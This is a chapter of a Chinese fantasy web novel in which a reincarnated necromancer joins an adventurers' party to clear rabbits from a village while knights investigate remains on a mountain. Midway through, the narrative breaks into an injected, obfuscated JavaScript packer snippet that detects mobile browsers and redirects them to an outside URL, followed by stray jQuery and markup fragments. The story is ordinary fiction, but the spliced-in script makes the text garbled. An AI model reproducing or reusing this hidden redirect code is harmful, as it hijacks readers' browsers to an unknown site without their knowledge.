和新队伍的交流还算顺利,除了角落的剑士时不时投来欲言又止的复杂目光外其余的人都对这个临时新人很平和,没有过多刨根问底让法伊达对这个队伍的好感增添了几分。


    他们的盗贼是一个细瘦的高个男人,名叫阿文,刚才一直藏在里屋看热闹,等索拉做完决定才钻出来,他对裹得严实的法伊达颇有兴趣,这是他还第一次见到所谓的“魔法使用者”。


    看着没什么特别的,倒像个移动的小帐篷。


    那身过长的外袍和遮挡视线的兜帽对一个盗贼来说非常影响行动,尤其是白色,太显眼了,阿文几乎想象出自己套着这种长袍跳上屋顶结果脚滑栽进杂物堆里的滑稽画面。


    总感觉他在想什么很诡异的事,法伊达默默后退了半步。


    佐伊不怎么喜欢眼前的新队友,各种方面上的。


    之前那股微妙的寒意说不清,来得快去得也快,如果不是留下的印象足够深刻,看着面前平静柔和的法伊达他要都怀疑自己没准是想多了。


    ……当然不可能。


    “放轻松点。”索拉拍了拍他的肩,平常也不见他这么排外,更何况这次是佐伊先冲动的,没必要臭个脸,随后她转身抽出了一张新的委托公告。


    “来吧,实习任务。”她笑盈盈地。


    ……


    “队长。”


    一脸严肃的骑士站在领队身后,他们清早出发,在有短距离传送卷轴的情况下还是花费了几个小时才到维利嘉尔山。


    “什么情况?”领队微微侧身看向他。


    诺尔深吸寒冷的空气,冰凉的感觉已经将肺部填充,他缓口气后继续说道:


    “找到了之前残余的尸体……和半块鳞片。”


    “尸体已经被撕咬得不成样子,根据衣服……是那支遇龙队伍,细密的咬痕推测是中型食肉魔物做的,但不清楚为什么残余的部分会这么多。”


    会飞的食腐魔物,雪鹫鸟,它们就像雪山里的鬣狗一样成群结队,叫声尖锐,牙齿像尖针一样密集细长,虽说食腐,但恶劣环境下它们也是会攻击活物的,按理说会全部吃光才对。


    这样有些反常,抛开这点不提,他们会是因为高压反应导致幻觉把寻常的雪鹫鸟误看成飞龙了吗?


    他们说的究竟是飞龙……还是龙呢,这两者的区别极大。


    飞龙仅是魔物,没有类人的智慧,整体外形也相对较小些,不同种类的颜色和攻击方式都不同,棘手,但终归只是魔兽,危害性有限。


    而龙,灾厄的象征,强大到据说在一千年前几乎毁灭人类魔法的存在,曾是这块大陆上最惹人向往的神秘生物,人人都喜爱它们,然而只一夜之间龙的名号就化身成毁灭与不祥。


    要是……骑士咽下了唾沫,攥紧了拳头。


    肉身残片是在不远的岩石上方发现的,似乎是卡在石缝里才迟迟没被发现,没被吃光留下不少痕迹也算万幸,平时攀登维利嘉尔是有风险的,这次调查他们做足了准备。


    尸体被小心的取下,随行的医者和神官检查过后判断他是在山顶就已经死了,恶劣的环境延缓了尸体的腐烂速度,因为某种原因魔物放弃了到嘴的美食,把它当做诱饵丢下山,这才被他们发现。


    这种情况在魔物间很常见,类似壁虎断尾的生存之道。


    领队的眉头蹙了起来,面色严峻。


    “继续往上吧。”男人发出了命令。


    ……


    城外荒地。


    今年德尔的雪下得比往年要早半个多月,刚出城镇不远厚重的积雪就没过脚踝,有几只鸟在远处试图翻点种子出来吃,然后为了争夺吃的互相掐了起来。


    “哈……”


    法伊达呼了口白气暖一下略微冻僵的手指,它们看起来青白青白的,幸好现在没有风,不至于多么冷冽刺骨,还算可以忍受,要是再冷些,他都想把绷带拆下来缠手上。


    “还有多久?”阿文也冻得够呛,抬头问道。


    索拉看了眼委托单说道:“快了,再走一会就到红岩村了。”


    这次的村民委托是驱逐野兔和狐狸,野兔们趁着食物稀缺老往谷仓钻,追着野兔来的狐狸自然就盯上了家畜,虽吃不多少,但也是烦恼。


    任务简单,报酬就不多,只有五十枚银币,但用来摸底是绰绰有余了。


    剑士离得有些距离,时不时回头看一眼他们的菜鸟新人是否掉队,要是这个带伤的娇贵拖油瓶在任务开始前就扛不住,那可就有理由说服姐姐他们根本不需要所谓魔法使或者神官了。


    今早血放得有些多了,法伊达暗自嘀咕。


    黑不拉几先生作为特殊的亡灵契约生物,不同于寻常的使魔,它更像是亡灵法师的一部分,能在阴影和黑夜里来去自如,必要时要可以向主人发出信号借用魔力。


    也就是说它的强弱跟自身没有关系,而是跟契约的法师实力挂钩。


    而距离太远的情况下,提前补充血液是最常见的方法,他今早一不小心放多了血,导致现在体温偏低,像个冰坨子。


    法伊达作为千年前的产物,他的灵魂自带着强大的力量,转生后为了不引起怀疑他将自身的魔力掩饰得极好,只露出浅浅的气息,让人觉不出异常。


    为了不暴露自身,对外他还是谨慎了许多。


    这具身体很脆弱,法伊达本是想放点血顺带实验一下他用饭碗煮的药对新鲜外伤的效果又如何,他在手腕上划开一道口,鲜红的血液汩汩流出,接着没淌几下,他就眼睁睁看着那道细长的口子合了起来。


    当时法伊达不信邪,又给自己来了一下。


    “嘎——啊呱!”


    满溢着魔力香气的血液馋的那只大黑鸟呱呱叫,原地扑扇着翅膀摇晃,见主人没理张着嘴就往前拱想要进食,被他一巴掌挡了回去。


    “你安静点。”


    ……好像不对。


    他眯了眯眼睛,没去管那滴落的血液,这次的伤口比上一道要深上很多,可还是马上就愈合了,干净得除了血迹和刺痛什么也没留下。


    ——这反常得过头,他脑海在飞速过着魔法知识,罗列的一条条当中没有符合这种情况的理论。


    法伊达从没听说过有人死而复生后会得到什么快速愈合的能力,现在飞速的治愈速度几乎跟不死之身差不了多少。


    那额头上的伤倒是好得很费劲,又是治愈又是愈合剂的,还很痛。


    思来想去也只有一个原因,那就是它是“法伊达”的致死伤,所以即便是新的生命注入也难以治愈它。


    看着血淋淋却又毫发无损的手腕,法伊达感到很讽刺。


    他死亡的权利可能被剥夺了。


    作为亡灵法师与生死挂钩的自己,现在却被夺去了“死亡”的概念。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957867|161008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    自己的转生又多了个想不通的点,往好处想,至少目前还看不出有什么坏处。


    大概吧。


    这样一来二去就便宜了黑不拉几先生,意外放多了的鲜血就都归它所有,大快朵颐的渡鸦没有注意到法伊达近乎于怜悯的慈爱眼神。


    吃得多也好,正好有一样艰巨的任务需要黑不拉几先生完成。


    (渡鸦抬头:嘎?)


    ……


    积雪严重影响了他们行进的速度,但总归是在中午饭点前到了委托地点,这个村子名挺随便的,红岩村,因为附近的岩土都泛红,干脆就取作当标识性地名。


    发布任务的是村子最边缘的一户,户主是一对朴实的夫妇,男主人穿着干净的粗麻衣服套着后羊毛织成的背心在院子里收拾木柴,女主人正在收拾几张平铺的皮料,花色看起来像野兔。


    玛丽见到雇佣的冒险者来了赶紧迎上去说明情况,脸上满是忧虑。


    他们养了十几只羊,收下来的毛卖给了镇上赚了不少钱,这才有钱给冒险者发布委托,那群野兔子怎么赶也赶不走。


    起初玛丽还是很高兴的,免费的野兔让他们能在冬天吃上香喷喷的土豆炖兔腿,而兔皮可以给丈夫做暖和的围脖,可渐渐的,事情发生了变化。


    它们也不蠢笨,很快,灵活的野兔变得愈发难抓,甚至找到了菜窖的门在里面大肆啃食储存的果蔬,就算今年收成很好也顶不住它们这样祸害。


    这还没到冬月祭呢,随之而来的还有更多的问题。


    野兔不再是神慷慨的馈赠,而是变成了导火索,狐狸和郊狼一类的小型野兽被食物吸引而来,抓不到就开始对村民们养的禽类下嘴,最最最灾难的是……


    这群兔子会到处打洞!


    这样下去肯定会有房屋就要因为密集的兔子洞塌了,而玛丽家肯定首当其冲。


    听见玛丽绘声绘色的描述,法伊达没忍住往别处看了几眼。


    那挂着的兔毛围脖缝得挺好,冬天又冷,还有手套之类的,他都挺想要的,只是自己手工缝纫能力非常堪忧,一会试试跟玛丽谈谈这件事吧。


    “要是塌了的话,确实是件麻烦事呢。”索拉思索道。


    佐伊满脸不可置信:“所以我们费半天劲就是来抓兔子的?”


    阿文拍了拍他的肩:“展现你实力的时刻到了。”


    “这是关乎村子的生死存亡啊。”他感叹。


    旁边站着的法伊达还在若有所思的走神,他没怎么买过东西,不清楚这的物价,但他真的很需要那个兔毛毛。


    “法伊达,”索拉笑着抽出了箭矢搭在弓上,利落地拉开弓弦瞄准白袍的人影:“千万别动。”


    她的眼神变得锐利,松手的瞬间弓弦发出清脆嗡鸣声,一道箭矢擦着法伊达就飞了过去,风翻起外袍和发丝,他面不改色地站在那,连眼睛都没眨,接着后面的灌木丛传来一声惨叫。


    剑士和盗贼都被她突然的举动吓了一跳,玛丽更是捂住眼不敢看。


    “是狼啊。”法伊达头也不回地说。


    其余人向他身后望去,一头野狼被钉在灌木丛里,抽搐几下后腿就没了声息。


    “我还以为会吓到你呢。”


    索拉有些惊讶地收回了弓箭,看来这个临时队友还是可以的嘛。


    “嗯……有一点?”法伊达不确定的说。